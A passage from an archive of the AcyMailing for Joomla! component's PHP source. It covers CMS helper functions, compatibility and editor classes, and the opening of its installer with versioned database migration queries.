        $title = acymailing_translation_sprintf('ACY_JPAGETITLE', $title, acymailing_getCMSConfig('sitename'));
    }
    $document = JFactory::getDocument();
    $document->setTitle($title);
}

function acymailing_importPlugin($family, $name = null){
    JPluginHelper::importPlugin($family, $name);
}

function acymailing_getPlugin($type, $name = null){
    return JPluginHelper::getPlugin($type, $name);
}

function acymailing_isPluginEnabled($type, $name = null){
    return JPluginHelper::isEnabled($type, $name);
}

function acymailing_getLanguagePath($basePath = ACYMAILING_BASE, $language = null){
    return JLanguage::getLanguagePath(rtrim($basePath, DS), $language);
}

function acymailing_userEditLink(){
    if(file_exists(ACYMAILING_ROOT.'components'.DS.'com_comprofiler'.DS.'comprofiler.php')){
        $editLink = 'index.php?option=com_comprofiler&task=edit&cid[]=';
    }elseif(!ACYMAILING_J16){
        $editLink = 'index.php?option=com_users&task=edit&cid[]=';
    }else{
        $editLink = 'index.php?option=com_users&task=user.edit&id=';
    }
    return $editLink;
}

function acymailing_filterText($text){
    if(ACYMAILING_J25) return JComponentHelper::filterText($text);
    return $text;
}

function acymailing_checkPluginsFolders(){
    $folders = array(ACYMAILING_ROOT.'plugins' => '', ACYMAILING_ROOT.'plugins'.DS.'user' => '', ACYMAILING_ROOT.'plugins'.DS.'system' => '');
    $results = array('', '', '');
    foreach($folders as $oneFolderToCheck => &$result){
        if(!is_writable($oneFolderToCheck)){
            $writableIssue = true;
            break;
        }
    }
    if(!empty($writableIssue)){
        $results = array();
        foreach($folders as $oneFolderToCheck => &$result){
            $results[] = ' : <span style="color:'.(is_writable($oneFolderToCheck) ? 'green;">OK' : 'red;">Not writable').'</span>';
        }
    }
    $errorPluginTxt = 'Some required AcyMailing plugins have not been installed.<br />Please make sure your plugins folders are writables by checking the user/group permissions:<br />* Joomla / Plugins'.$results[0].'<br />* Joomla / Plugins / User'.$results[1].'<br />* Joomla / Plugins / System'.$results[0].'<br />';
    if(empty($writableIssue)) $errorPluginTxt .= 'Please also empty your plugins cache: System => Clear cache => com_plugins => Delete<br />';
    acymailing_display($errorPluginTxt.'<a href="index.php?option=com_acymailing&amp;ctrl=update&amp;task=install">'.acymailing_translation('ACY_ERROR_INSTALLAGAIN').'</a>', 'warning');
}

function acymailing_askLog($current = true, $message = 'ACY_NOTALLOWED', $type = 'error'){
    $usercomp = ACYMAILING_J16 ? 'com_users' : 'com_user';
    $url = 'index.php?option='.$usercomp.'&view=login';
    if($current) $url .= '&return='.base64_encode(acymailing_currentURL());
    acymailing_redirect($url, acymailing_translation($message), $type);
}

function acymailing_frontendLink($link, $newsletter = true, $popup = false, $complete = false){
    if($complete) $link = 'index.php?option=com_acymailing&ctrl='.$link;

    if($popup) $link .= '&'.acymailing_noTemplate();
    $config = acymailing_config();

    if($config->get('use_sef', 0) && strpos($link, '&ctrl=cron') === false){

        if($newsletter) return '{acyfrontsef}'.$link.'{/acyfrontsef}';

        $sefLink = acymailing_fileGetContent(acymailing_rootURI().'index.php?option=com_acymailing&ctrl=url&task=sef&urls[0]='.base64_encode($link));
        $json = json_decode($sefLink, true);
        if($json == null){
            if(!empty($sefLink) && acymailing_isDebug()) acymailing_enqueueMessage('Error trying to get the sef link: '.$sefLink);
        }else{
            $link = array_shift($json);
            return $link;
        }
    }

    $mainurl = acymailing_mainURL($link);

    return $mainurl.$link;
}

function acymailing_addBreadcrumb($title, $link = ''){
    $acyapp = acymailing_getGlobal('app');
    $pathway = $acyapp->getPathway();
    $pathway->addItem($title, $link);
}

function acymailing_getMenu(){
    global $Itemid;

    $jsite = JFactory::getApplication('site');
    $menus = $jsite->getMenu();
    $menu = $menus->getActive();

    if(empty($menu) && !empty($Itemid)){
        $menus->setActive($Itemid);
        $menu = $menus->getItem($Itemid);
    }
    
    return $menu;
}

function acymailing_getTitle(){
    $document = acymailing_getGlobal('doc');
    return $document->getTitle();
}

jimport('joomla.application.component.controller');
jimport('joomla.application.component.view');

if(ACYMAILING_J30){
    class acymailingBridgeController extends JControllerLegacy{
        function __construct($config = array()){
            parent::__construct($config);
            global $acymailingCmsUserVars;
            $this->cmsUserVars = $acymailingCmsUserVars;
        }
    }

    class acymailingView extends JViewLegacy{
        var $chosen = true;

        function __construct($config = array()){
            parent::__construct($config);
            global $acymailingCmsUserVars;
            $this->cmsUserVars = $acymailingCmsUserVars;
        }

        function display($tpl = null){
            if($this->chosen && acymailing_isAdmin()){
                JHtml::_('formbehavior.chosen', 'select');
            }

            return parent::display($tpl);
        }
    }
}else{
    class acymailingBridgeController extends JController{
        function __construct($config = array()){
            parent::__construct($config);
            global $acymailingCmsUserVars;
            $this->cmsUserVars = $acymailingCmsUserVars;
        }
    }
    class acymailingView extends JView{
        function __construct($config = array()){
            parent::__construct($config);
            global $acymailingCmsUserVars;
            $this->cmsUserVars = $acymailingCmsUserVars;
        }
    }
}

acymailing_boolean('acymailing');
$config = acymailing_config();
if(!ACYMAILING_J40 && ACYMAILING_J30 && (acymailing_isAdmin() || $config->get('bootstrap_frontend', 0))){
    require(ACYMAILING_BACK.'compat'.DS.'bootstrap.php');
}else{
    class JHtmlAcyselect extends JHTMLSelect{
    }
}

global $acymailingCmsUserVars;
$acymailingCmsUserVars = new stdClass();
$acymailingCmsUserVars->table = 'users';
$acymailingCmsUserVars->name = 'name';
$acymailingCmsUserVars->username = 'username';
$acymailingCmsUserVars->id = 'id';
$acymailingCmsUserVars->email = 'email';
$acymailingCmsUserVars->registered = 'registerDate';
$acymailingCmsUserVars->blocked = 'block';
com_acymailing/compat/bootstrap.php000060400000013127152455305300013532 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


JHtml::_('bootstrap.framework');

class JHtmlAcyselect extends JHTMLSelect{
	static $event = false;

	public static function booleanlist($name, $attribs = null, $selected = null, $yes = 'JOOMEXT_YES', $no = 'JOOMEXT_NO', $id = false){
		$arr = array(acymailing_selectOption('0', acymailing_translation($no)), acymailing_selectOption('1', acymailing_translation($yes)));
		$arr[0]->class = 'btn-danger';
		$arr[1]->class = 'btn-success';
		return acymailing_radio($arr, $name, $attribs, 'value', 'text', (int)$selected, $id);
	}

	public static function radiolist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false, $vertical = false){
		reset($data);
		$backend = acymailing_isAdmin();
		$config = acymailing_config();
		if(!self::$event){
			self::$event = true;
			if($backend){
				acymailing_addScript(true, '
(function($){
	$.propHooks.checked = {
		set: function(elem, value, name) {
			var ret = (elem[ name ] = value);
			$(elem).trigger("change");
			return ret;
		}
	};
})(jQuery);');
			}else{
				acymailing_addScript(true, '
(function($){
if(!window.acyLocal)
	window.acyLocal = {};
window.acyLocal.radioEvent = function(el) {
	var id = $(el).attr("id"), c = $(el).attr("class"), lbl = $("label[for=\"" + id + "\"]");
	if(c !== undefined && c.length > 0)
		lbl.addClass(c);
	lbl.addClass("active");
	$("input[name=\"" + $(el).attr("name") + "\"]").each(function() {
		if($(this).attr("id") != id) {
			c = $(this).attr("class");
			lbl = $("label[for=\"" + $(this).attr("id") + "\"]");
			if(c !== undefined && c.length > 0)
				lbl.removeClass(c);
			lbl.removeClass("active");
		}
	});
}
$(document).ready(function() {
	setTimeout(function() { $(".acyradios .btn-group label").off("click"); }, 200 );
});

})(jQuery);');
			}
		}

		if(is_array($attribs)){
			$attribs = acymailing_arrayToString($attribs);
		}

		if(!$backend){
			$attribs = ' '.$attribs;
			$onclick = '';
			if(strpos($attribs, ' onclick="') !== false || strpos($attribs, 'onclick=\'') !== false){
				$onclick = $attribs;
			}
			if(strpos($attribs, ' style="') !== false){
				$attribs = str_replace(' style="', ' style="display:none;', $attribs);
			}elseif(strpos($attribs, 'style=\'') !== false){
				$attribs = str_replace(' style=\'', ' style=\'display:none;', $attribs);
			}else{
				$attribs .= ' style="display:none;"';
			}
			if(strpos($attribs, ' onchange="') !== false){
				$attribs = str_replace(' onchange="', ' onchange="window.acyLocal.radioEvent(this);', $attribs);
			}elseif(strpos($attribs, 'onchange=\'') !== false){
				$attribs = str_replace(' onchange=\'', ' onchange=\'window.acyLocal.radioEvent(this);', $attribs);
			}else{
				$attribs .= ' onchange="window.acyLocal.radioEvent(this);"';
			}
		}

		$id_text = preg_replace('#[^a-zA-Z0-9]+#mi', '_', str_replace(array('[', ']'), array('_', ''), $idtag ? $idtag : $name));
		$htmlBootstrap2 = '';
		$htmlBootstrap3 = '';
		if($backend){
			$html = '<div class="controls"><fieldset id="'.$id_text.'fieldset" class="radio btn-group'.($vertical ? ' btn-group-vertical' : '').'">';


		}else{
			$html = '<div class="acyradios" id="'.$id_text.'">';
		}

		foreach($data as $obj){
			if(is_string($obj)){
				$html .= $obj;
				continue;
			}

			$k = $obj->$optKey;
			$t = $translate ? acymailing_translation($obj->$optText) : $obj->$optText;
			$id = (isset($obj->id) ? $obj->id : null);

			$active = '';
			$sel = false;
			$extra = $id ? ' id="'.$obj->id.'"' : '';
			$currId = $id_text.$k;
			if(isset($obj->id)){
				$currId = $obj->id;
			}

			if(is_array($selected)){
				foreach($selected as $val){
					$k2 = is_object($val) ? $val->$optKey : $val;
					if($k == $k2){
						$extra .= ' selected="selected"';
						$sel = true;
						break;
					}
				}
			}elseif((string)$k == (string)$selected){
				$extra .= ' checked="checked"';
				$sel = true;
				$active = 'active';
				if(!empty($obj->class)) $active .= ' '.$obj->class;
			}

			if(!empty($obj->class)) $extra .= ' class="'.$obj->class.'"';

			if($backend){
				$html .= "\n\t\n\t".'<input type="radio" name="'.$name.'" id="'.$id_text.$k.'" value="'.$k.'" '.$extra.' '.$attribs.'/>';
				$html .= "\n\t".'<label for="'.$id_text.$k.'">'.$t.'</label>';

			}else{
				if($config->get('bootstrap_frontend') == 2){
					$onclickFinal = str_replace('this.value', "'".$k."'", $onclick);
					$htmlBootstrap3 .= "\n\t".'<label for="'.$currId.'" class="btn btn-primary '.$active.'" '.$onclickFinal.'>';
					$htmlBootstrap3 .= "\n\t".'<input type="radio" name="'.$name.'"'.' id="'.$currId.'"'.$extra.' '.$attribs.' value="'.$k.'" > '.$t.'</label>';
				}else{
					$html .= "\n\t".'<input type="radio" name="'.$name.'"'.' id="'.$currId.'" value="'.$k.'"'.' '.$extra.' '.$attribs.'/>';
					$htmlBootstrap2 .= "\n\t"."\n\t".'<label for="'.$currId.'"'.' class="btn'.($sel ? ' active'.(empty($obj->class) ? '' : ' '.$obj->class) : '').'">'.$t.'</label>';
				}
			}
		}
		if($backend){
			$html .= '</fieldset></div>';
		}else{
			if($config->get('bootstrap_frontend') == 2){
				$html .= "\n".'<div class="btn-group'.($vertical ? ' btn-group-vertical' : '').'" data-toggle="buttons">'.$htmlBootstrap3."\n".'</div>';
			}else{
				$html .= "\n".'<div class="btn-group'.($vertical ? ' btn-group-vertical' : '').'" data-toggle="buttons-radio">'.$htmlBootstrap2."\n".'</div>';
			}
			$html .= "\n".'</div>';
		}
		$html .= "\n";
		return $html;
	}

}
com_acymailing/compat/compat3.php000060400000002440152455305300013057 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.7.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class acymailingView extends JViewLegacy{

	var $chosen = true;

	function display($tpl = null){
		$app = JFactory::getApplication();
		if($this->chosen && $app->isAdmin()){
			JHtml::_('formbehavior.chosen', 'select');
		}

		return parent::display($tpl);
	}

}

class acymailingControllerCompat extends JControllerLegacy{

}

function acymailing_loadResultArray(&$db){
	return $db->loadColumn();
}

function acymailing_loadMootools($loadMootoolsMoreLib = false){
	JHTML::_('behavior.framework', $loadMootoolsMoreLib);
}

function acymailing_getColumns($table){
	$db = JFactory::getDBO();
	return $db->getTableColumns($table);
}

function acymailing_getEscaped($value, $extra = false) {
	$db = JFactory::getDBO();
	return $db->escape($value, $extra);
}

function acymailing_getFormToken() {
	return JSession::getFormToken();
}

class acyParameter extends JRegistry {

	function get($path, $default = null){
		$value = parent::get($path, 'noval');
		if($value === 'noval') $value = parent::get('data.'.$path,$default);
		return $value;
	}
}
com_acymailing/compat/joomla.editor.php000060400000013556152455305300014271 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

use Joomla\CMS\Editor\Editor AS Editor;

class acyeditorHelper{

	var $width = '95%';

	var $height = '600';

	var $cols = 100;

	var $rows = 30;

	var $editor = null;

	var $name = '';

	var $content = '';

	var $editorConfig = array();

	var $editorContent = '';

	function __construct(){
		$config = acymailing_config();
		$this->editor = $config->get('editor', null);
		if(empty($this->editor)) $this->editor = null;
		if(!class_exists('Joomla\CMS\Editor\Editor')){
			$this->myEditor = JFactory::getEditor($this->editor);
		}else{
			if(empty($this->editor)){
				$user = JFactory::getUser();
				$this->editor = $user->getParam('editor', acymailing_getCMSConfig('editor'));
			}
			$this->myEditor = Editor::getInstance($this->editor);
		}
		$this->myEditor->initialise();

		if(ACYMAILING_J16 && $this->editor == 'tinymce'){
			$this->editorConfig['extended_elements'] = 'table[background|cellspacing|cellpadding|width|align|bgcolor|border|style|class|id],tr[background|width|bgcolor|style|class|id|valign],td[background|width|align|bgcolor|valign|colspan|rowspan|height|style|class|id|nowrap]';
		}
	}

	function setTemplate($id){
		if(empty($id)) return;

		$cssurl = acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'template&task=load&tempid='.$id.'&time='.time());

		$classTemplate = acymailing_get('class.template');
		$filepath = $classTemplate->createTemplateFile($id);

		if($this->editor == 'tinymce'){
			$this->editorConfig['content_css_custom'] = $cssurl.'&local=http';
			$this->editorConfig['content_css'] = '0';
		}elseif($this->editor == 'jckeditor' || $this->editor == 'fckeditor'){
			$this->editorConfig['content_css_custom'] = $filepath;
			$this->editorConfig['content_css'] = '0';
			$this->editorConfig['editor_css'] = '0';
		}else{
			$fileurl = ACYMAILING_MEDIA_FOLDER.'/templates/css/template_'.$id.'.css?time='.time();
			$this->editorConfig['custom_css_url'] = $cssurl;
			$this->editorConfig['custom_css_file'] = $fileurl;
			$this->editorConfig['custom_css_path'] = $filepath;
			acymailing_setVar('acycssfile', $fileurl);
		}
	}

	function prepareDisplay(){
		$this->content = htmlspecialchars($this->content, ENT_COMPAT, 'UTF-8');
		ob_start();
		if(!ACYMAILING_J16){
			echo $this->myEditor->display($this->name, $this->content, $this->width, $this->height, $this->cols, $this->rows, array('pagebreak', 'readmore'), $this->editorConfig);
		}else{
			echo $this->myEditor->display($this->name, $this->content, $this->width, $this->height, $this->cols, $this->rows, array('pagebreak', 'readmore'), null, 'com_content', null, $this->editorConfig);
		}

		$this->editorContent = ob_get_clean();
	}


	function setDescription(){
		$this->width = 700;
		$this->height = 200;
		$this->cols = 80;
		$this->rows = 10;
	}

	function setContent($var){
		if(method_exists($this->myEditor, 'setContent')){
			$function = "try{ Joomla.editors.instances['".$this->name."'].setValue(".$var."); }catch(err){alert('Error using the setContent function of the wysiwyg editor')} ";
			$function = "try{".$this->myEditor->setContent($this->name, $var)." }catch(err){".$function."}";
		}else{
			$function = "alert('There is no setContent method defined for this editor');";
		}

		if(!empty($this->editor)){
			if($this->editor == 'jce'){
				return " try{JContentEditor.setContent('".$this->name."', $var ); }catch(err){try{WFEditor.setContent('".$this->name."', $var )}catch(err){".$function."} }";
			}
			if($this->editor == 'fckeditor'){
				return " try{FCKeditorAPI.GetInstance('".$this->name."').SetHTML( $var ); }catch(err){".$function."} ";
			}
			if($this->editor == 'jckeditor'){
				return " try{oEditor.setData(".$var.");}catch(err){(!oEditor) ? CKEDITOR.instances.".$this->name.".setData($var) : oEditor.insertHtml = ".$var.'}';
			}
			if($this->editor == 'ckeditor'){
				return " try{CKEDITOR.instances.".$this->name.".setData( $var ); }catch(err){".$function."} ";
			}
			if($this->editor == 'artofeditor'){
				return " try{CKEDITOR.instances.".$this->name.".setData( $var ); }catch(err){".$function."} ";
			}
			if($this->editor == 'tinymce'){
				return ' try{ Joomla.editors.instances["'.$this->name.'"].setValue('.$var.'); }catch(err){'.$function.'} ';
			}
		}

		return $function;
	}

	function setEditorStylesheet($tempid){
		$cssurl = acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'template&task=load&time='.time().'&tempid=');

		$function = 'if('.$tempid.' !== 0){
						try{
							setEditorStylesheet(\''.$this->name.'\',\''.$cssurl.'\'+'.$tempid.',\''.ACYMAILING_MEDIA_FOLDER.'/templates/css/template_\'+'.$tempid.'+\'.css\');
						}catch(err){
							var iframe = document.getElementById("'.$this->name.'_ifr");
							if(typeof iframe != undefined && iframe){
								var css = iframe.contentDocument.querySelector(\'link[href*="'.ACYMAILING_MEDIA_FOLDER.'/templates/css/template_"]\');
								if(typeof css != undefined && css){
									css.href = css.href.replace(/template_\d{1,10}.css/, "template_"+'.$tempid.'+".css");
								}else{
									var css = iframe.contentDocument.querySelector(\'link[href*="com_acymailing&ctrl=template&task=load&tempid="]\');
									if(typeof css != undefined && css){
										css.href = css.href.replace(/&tempid=\d{1,10}&time/, "&tempid="+'.$tempid.'+"&time");
									}
								}
							}
						}
					}';

		return $function;
	}

	function getContent(){
		return $this->myEditor->getContent($this->name);
	}

	function display(){
		if(empty($this->editorContent)) $this->prepareDisplay();
		return $this->editorContent;
	}

	function jsCode(){
		return method_exists($this->myEditor, 'save') ? $this->myEditor->save($this->name) : '';
	}

	function jsMethods(){
		return '';
	}

}//endclass
com_acymailing/compat/compat2.php000060400000001017152455305300013055 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.7.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class acyParameter extends JRegistry {

	function get($path, $default = null){
		$value = parent::get($path, 'noval');
		if($value === 'noval') $value = parent::get('data.'.$path,$default);
		return $value;
	}
}
require(dirname(__FILE__).DS.'compat1.php');
com_acymailing/install.joomla.php000060400000143631152455305300013164 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

if(version_compare(PHP_VERSION, '5.3.0', '<')){
	echo '<p style="color:red">This version of AcyMailing requires at least PHP 5.3.0, it is time to upgrade the PHP version of your server!</p>';
	exit;
}

function installAcyMailing(){
	$success = true;
	try{
		include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
	}catch(Exception $e){
		$updateHelper = acymailing_get('helper.update');
		$updateHelper->installTables();
		$success = false;
		if(!function_exists('acymailing_loadResult')) include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
	}

	acymailing_increasePerf();

	$installClass = new acymailingInstall();
	$installClass->updateJoomailing();
	$installClass->addPref();
	$installClass->updatePref();
	$installClass->updateSQL();
	if($success) $installClass->displayInfo();
}

function uninstallAcyMailing(){
	$uninstallClass = new acymailingUninstall();
	$uninstallClass->unpublishModules();
	$uninstallClass->message();
}

if(!function_exists('com_install')){
	function com_install(){
		return installAcyMailing();
	}
}

if(!function_exists('com_uninstall')){
	function com_uninstall(){
		return uninstallAcyMailing();
	}
}

class com_acymailingInstallerScript{
	function install($parent){
		installAcyMailing();
	}

	function update($parent){
		installAcyMailing();
	}

	function uninstall($parent){
		uninstallAcyMailing();
	}

	function preflight($type, $parent){
		return true;
	}

	function postflight($type, $parent){
		return true;
	}
}


class acymailingInstall{

	var $level = 'starter';
	var $version = '5.9.6';
	var $update = false;
	var $fromLevel = '';
	var $fromVersion = '';
	var $db;

	function __construct(){
		include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
	}

	function displayInfo(){

		echo '<h1>Please wait... </h1><h2>AcyMailing will now automatically install the Plugins and the Module</h2>';
		$url = 'index.php?option=com_acymailing&ctrl=update&task=install&fromlevel='.$this->fromLevel.'&fromversion='.$this->fromVersion;
		echo '<a href="'.$url.'">Please click here if you are not automatically redirected within 3 seconds</a>';
		echo "<script language=\"javascript\" type=\"text/javascript\">document.location.href='$url';</script>\n";
	}

	function updatePref(){

		try{
			$results = acymailing_loadObjectList("SELECT `namekey`, `value` FROM `#__acymailing_config` WHERE `namekey` IN ('version','level') LIMIT 2", 'namekey');
		}catch(Exception $e){
			$results = null;
		}

		if($results === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			return false;
		}

		if($results['version']->value == $this->version && $results['level']->value == $this->level) return true;

		$this->update = true;
		$this->fromLevel = $results['level']->value;
		$this->fromVersion = $results['version']->value;

		$query = "REPLACE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('level',".acymailing_escapeDB($this->level)."),('version',".acymailing_escapeDB($this->version)."),('installcomplete','0')";
		acymailing_query($query);

		return true;
	}

	function updateSQL(){
		if(!$this->update) return true;
		$config = acymailing_config();


		if(version_compare($this->fromVersion, '1.1.4', '<')){
			$replace1 = "REPLACE(`params`, 'showhtml=1\nshowname=1', 'customfields=name,email,html' )";
			$replace2 = "REPLACE( $replace1 , 'showhtml=0\nshowname=1', 'customfields=name,email' )";
			$replace3 = "REPLACE( $replace2 , 'showhtml=1\nshowname=0', 'customfields=email,html' )";
			$replace4 = "REPLACE( $replace3 , 'showhtml=0\nshowname=0', 'customfields=email' )";
			$this->updateQuery("UPDATE #__modules SET `params`= $replace4 WHERE `module` = 'mod_acymailing' ");
		}

		if(version_compare($this->fromVersion, '1.2.1', '<')){
			$this->updateQuery("UPDATE `#__acymailing_config` SET `value` = 'data' WHERE `value` = '0' AND `namekey` = 'allow_modif' LIMIT 1");
			$this->updateQuery("UPDATE `#__acymailing_config` SET `value` = 'all' WHERE `value` = '1' AND `namekey` = 'allow_modif' LIMIT 1");
		}

		if(version_compare($this->fromVersion, '1.2.2', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `sentby` INT UNSIGNED NULL DEFAULT NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `subject` VARCHAR( 250 ) NULL DEFAULT NULL");
			$this->updateQuery("DELETE FROM `#__plugins` WHERE `folder` = 'acymailing' AND `element` = 'autocontent'");
		}

		if(version_compare($this->fromVersion, '1.2.3', '<')){
			$this->updateQuery("UPDATE `#__plugins` SET `folder` = 'system', `element`= 'regacymailing', `name` = 'AcyMailing : (auto)Subscribe during Joomla registration', `params`= REPLACE(`params`, 'lists=', 'autosub=' ) WHERE `folder` = 'user' AND `element` = 'acymailing'");
			$this->updateQuery("DELETE FROM `#__plugins` WHERE `folder` = 'acymailing' AND `element` = 'autocontent'");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `stylesheet` TEXT NULL");

			if(is_dir(ACYMAILING_BACK.'plugins'.DS.'plg_user_acymailing')){
				acymailing_deleteFolder(ACYMAILING_BACK.'plugins'.DS.'plg_user_acymailing');
			}
			if(is_dir(ACYMAILING_BACK.'plugins'.DS.'plg_acymailing_autocontent')){
				acymailing_deleteFolder(ACYMAILING_BACK.'plugins'.DS.'plg_acymailing_autocontent');
			}
		}

		if(version_compare($this->fromVersion, '1.3.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_config` CHANGE `value` `value` TEXT NULL ");

			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `listing` TINYINT NULL DEFAULT NULL ");
			$this->updateQuery("UPDATE `#__acymailing_fields` SET `listing` = 1 WHERE `namekey` IN ('name','email','html') ");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `fromname` VARCHAR( 250 ) NULL , ADD `fromemail` VARCHAR( 250 ) NULL , ADD `replyname` VARCHAR( 250 ) NULL , ADD `replyemail` VARCHAR( 250 ) NULL ");
		}

		if(version_compare($this->fromVersion, '1.5.2', '<')){

			$existingEntry = acymailing_loadResult("SELECT `params` FROM #__plugins WHERE `element` = 'regacymailing' LIMIT 1");
			$listids = 'None';
			if(preg_match('#autosub=(.*)#i', $existingEntry, $autosubResult)){
				$listids = $autosubResult[1];
			}
			$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('autosub',".acymailing_escapeDB($listids).")");
		}

		if(version_compare($this->fromVersion, '1.5.3', '<')){
			$this->updateQuery('UPDATE #__acymailing_config SET `value` = REPLACE(`value`,\'<sup style="font-size: 4px;">TM</sup>\',\'™\')');
		}


		if(version_compare($this->fromVersion, '1.6.2', '<')){

			$this->updateQuery("UPDATE #__acymailing_config SET `value` = 'media/com_acymailing/upload' WHERE `namekey` = 'uploadfolder' AND `value` = 'components/com_acymailing/upload' ");

			$this->updateQuery("UPDATE #__acymailing_config SET `value` = 'media/com_acymailing/logs/report".rand(0, 999999999).".log' WHERE `namekey` = 'cron_savepath' ");

			if(!ACYMAILING_J16){
				$this->updateQuery("UPDATE #__plugins SET `params` = REPLACE(`params`,'components/com_acymailing/images','media/com_acymailing/images') ");
			}else{
				$this->updateQuery("UPDATE #__extensions SET `params` = REPLACE(`params`,'components\/com_acymailing\/images','media\/com_acymailing\/images') ");
			}


			$updateClass = acymailing_get('helper.update');
			$removeFiles = array();
			$removeFiles[] = ACYMAILING_FRONT.'css'.DS.'component_default.css';
			$removeFiles[] = ACYMAILING_FRONT.'css'.DS.'frontendedition.css';
			$removeFiles[] = ACYMAILING_FRONT.'css'.DS.'module_default.css';
			foreach($removeFiles as $oneFile){
				if(is_file($oneFile)) acymailing_deleteFile($oneFile);
			}

			$fromFolders = array();
			$toFolders = array();
			$fromFolders[] = ACYMAILING_FRONT.'css';
			$toFolders[] = ACYMAILING_MEDIA.'css';
			$fromFolders[] = ACYMAILING_FRONT.'templates'.DS.'plugins';
			$toFolders[] = ACYMAILING_MEDIA.'plugins';
			$fromFolders[] = ACYMAILING_FRONT.'upload';
			$toFolders[] = ACYMAILING_MEDIA.'upload';

			foreach($fromFolders as $i => $oneFolder){
				if(!is_dir($oneFolder)) continue;
				if(is_dir($toFolders[$i])){
					$updateClass->copyFolder($oneFolder, $toFolders[$i]);
				}
			}

			$deleteFolders = array();
			$deleteFolders[] = ACYMAILING_FRONT.'css';
			$deleteFolders[] = ACYMAILING_FRONT.'images';
			$deleteFolders[] = ACYMAILING_FRONT.'js';
			$deleteFolders[] = ACYMAILING_BACK.'logs';

			foreach($deleteFolders as $oneFolder){
				if(!is_dir($oneFolder)) continue;
				acymailing_deleteFolder($oneFolder);
			}
		}

		if(version_compare($this->fromVersion, '1.7.1', '<')){
			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_history` (`subid` INT UNSIGNED NOT NULL ,`date` INT UNSIGNED NOT NULL ,`ip` VARCHAR( 50 ) NULL ,
								`action` VARCHAR( 50 ) NOT NULL , `data` TEXT NULL , `source` TEXT NULL , INDEX ( `subid` , `date` ) ) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;");
		}

		if(version_compare($this->fromVersion, '1.7.3', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `metakey` TEXT NULL , ADD `metadesc` TEXT NULL ");
		}

		if(version_compare($this->fromVersion, '1.8.4', '<')){
			$this->updateQuery("UPDATE `#__acymailing_config` as a, `#__acymailing_config` as b SET a.`value` = b.`value` WHERE a.`namekey`= 'queue_nbmail_auto' AND b.`namekey`= 'queue_nbmail' ");
			$this->updateQuery("UPDATE `#__acymailing_mail` SET `body` = CONCAT(`body`,'<p>{survey}</p>') WHERE type = 'notification' AND `alias` IN ('notification_refuse','notification_unsub','notification_unsuball')");
		}

		if(version_compare($this->fromVersion, '1.8.5', '<')){
			$metaFile = ACYMAILING_FRONT.'metadata.xml';
			if(file_exists($metaFile)) acymailing_deleteFile($metaFile);
			$this->updateQuery('ALTER TABLE #__acymailing_url DROP INDEX url');
			$this->updateQuery('ALTER TABLE `#__acymailing_url` CHANGE `url` `url` TEXT NOT NULL');
			$this->updateQuery('ALTER TABLE `#__acymailing_url` ADD INDEX `url` ( `url` ( 250 ) ) ');
			$this->updateQuery("UPDATE `#__acymailing_mail` SET `body` = CONCAT(`body`,'<p>Subscription : {user:subscription}</p>') WHERE type = 'notification' AND `alias` = 'notification_created'");
		}

		if(version_compare($this->fromVersion, '1.9.1', '<')){
			$this->updateQuery('ALTER TABLE `#__acymailing_history` ADD `mailid` MEDIUMINT UNSIGNED NULL');

			$this->updateQuery('CREATE TABLE IF NOT EXISTS `#__acymailing_rules` (
